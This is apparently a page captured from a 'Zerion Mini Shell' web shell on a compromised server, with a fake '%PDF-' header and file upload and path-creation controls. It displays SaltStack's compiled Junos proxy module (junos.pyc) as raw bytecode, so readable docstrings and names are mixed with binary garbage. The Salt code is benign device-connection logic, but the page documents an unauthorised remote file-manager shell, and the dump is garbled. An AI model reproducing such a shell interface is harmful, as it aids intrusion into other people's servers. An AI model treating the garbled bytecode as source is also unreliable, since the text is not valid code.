%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/proxy/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/proxy/junos.pyc

�
���^c@@sNdZddlmZmZmZddlZy�eZddlZ	ddl
Z	ddlZ	ddlZ	ddl
mZmZmZmZmZmZmZmZddlmZWnek
r�eZnXdgZiZeje�ZdZd�Z d�Z!d	�Z"d
�Z#d�Z$d�Z%d
�Z&d�Z'd�Z(d�Z)dS(u�
Interface with a Junos device via proxy-minion. To connect to a junos device via junos proxy, specify the host information in the pillar in '/srv/pillar/details.sls'

.. code-block:: yaml

    proxy:
      proxytype: junos
      host: <ip or dns name of host>
      username: <username>
      port: 830
      password: <secret>

In '/srv/pillar/top.sls' map the device details with the proxy name.

.. code-block:: yaml

    base:
      'vmx':
        - details

After storing the device information in the pillar, configure the proxy in '/etc/salt/proxy'

.. code-block:: yaml

    master: <ip or hostname of salt-master>

Run the salt proxy via the following command:

.. code-block:: bash

    salt-proxy --proxyid=vmx


i(tabsolute_importtprint_functiontunicode_literalsN(tRpcTimeoutErrortConnectClosedErrortRpcErrortConnectErrort
ProbeErrortConnectAuthErrortConnectRefusedErrortConnectTimeoutError(tTimeoutExpiredErrorujunoscC@ststdfStS(u6
    Only return if all the modules are available
    uMMissing dependency: The junos proxy minion requires the 'jnpr' Python module.(t	HAS_JUNOStFalset__virtualname__(((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pyt__virtual__Bs
c
C@smt|d<tjd�i|ddd6}ddddd	d
ddd
ddddg
}d|dj�kr�|djd�|dd<n|dj�}x/|D]'}||kr�|d|||<q�q�Wtjj|�td<ytdj	�WnIt
ttt
tfk
rB}tjdjt|���ttd<dSXd|kr�t|dd�}y|td_Wn)tk
r�}tjdt|��q�Xtjd|�ny$tdjdtjjjj�Wn/tk
r}tjdjt|���nXy$tdjdtjjjj�Wn/tk
r^}tjdjt|���nXttd<dS(u\
    Open the connection to the Junos device, login, and bind to the
    Resource class
    umultiprocessinguOpening connection to junosuproxyuhostuuseruusernameupasswordupasswduportugather_factsumodeubauduattemptsu
auto_probeussh_private_key_fileu
ssh_configu	normalizeuconnu2{} : not able to initiate connection to the deviceuinitializedNutimeoutu"Not able to set timeout due to: %suRPC timeout set to %d secondstcuu(Bind failed with Config class due to: {}tswu$Bind failed with SW class due to: {}(R
tlogtdebugtkeystpoptjnprtjunostDevicet	thisproxytopenRRR	R
Rterrortformattstrtintttimeoutt	ExceptiontbindtutilstconfigtConfigRtSWtTrue(toptstargst
optional_argst
proxy_keystargtexR((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pytinitLs\

	


$ $ cC@stjdt�S(Nuinitialized(RtgetR
(((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pytinitialized�scC@stdS(Nuconn(R(((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pytconn�scC@sNt�}t�td_|jsGtdidj|dd��n|jS(uk
    Validate and return the connection status with the remote device.

    .. versionadded:: 2018.3.0
    uconnuevent.fire_masterujunos/proxy/{}/stopuproxyuhost(R0tpingRt	connectedt__salt__R(R'tdev((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pytalive�s		cC@s�t�}|jdkrtSt|jd�r�|jjjj�r�|jjjj	�dkr}|jjj
j�r}t|�St
jd�tSq�tSn
t|�SdS(u
    Ping?  Pong!
    u_sessioniu1skipped ping() call as proxy already getting dataN(R0t_conntNoneR
thasattrt_sessiont
_transportt	is_activet_bufferttellt_qtemptyt_rpc_file_listRRR&(R4((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pyR1�s	

cC@s�y!|jjdddd�tSWnittfk
rjy|j�tSWq�ttt	fk
rftSXn#t
k
r�}d|kr�tSnXdS(Ntpathu	/dev/nulltdev_timeoutiu,'NoneType' object has no attribute 'timeout'(trpct	file_listR&RRtcloseR
RRRtAttributeError(R4R,((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pyR@�s
cC@sdS(u(
    Returns the name of this proxy
    ujunos((((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pyt	proxytype�scC@s�ttdj�}d|kr6t|d�|d<nd|kr~x9|dD]*}t|d|d�|d|d<qMWn|S(Nuconnuversion_infou
junos_infouobject(tdictRtfacts(RItre((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pytget_serialized_facts�s+cC@s>tjd|d�ytdj�Wntk
r9nXdS(uz
    This is called when the proxy-minion is exiting to make sure the
    connection to the device is closed cleanly.
    uProxy module %s shutting down!!uiduconnN(RRRRER (R'((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pytshutdown�s

(*t__doc__t
__future__RRRtloggingR&Rt
jnpr.junosRtjnpr.junos.utilstjnpr.junos.utils.configtjnpr.junos.utils.swtjnpr.junos.exceptionRRRRRRR	R
tncclient.operations.errorsRtImportErrorR
t__proxyenabled__Rt	getLoggert__name__RRRR-R/R0R5R1R@RGRKRL(((s4/usr/lib/python2.7/site-packages/salt/proxy/junos.pyt<module>%s4:

		
	=							

Zerion Mini Shell 1.0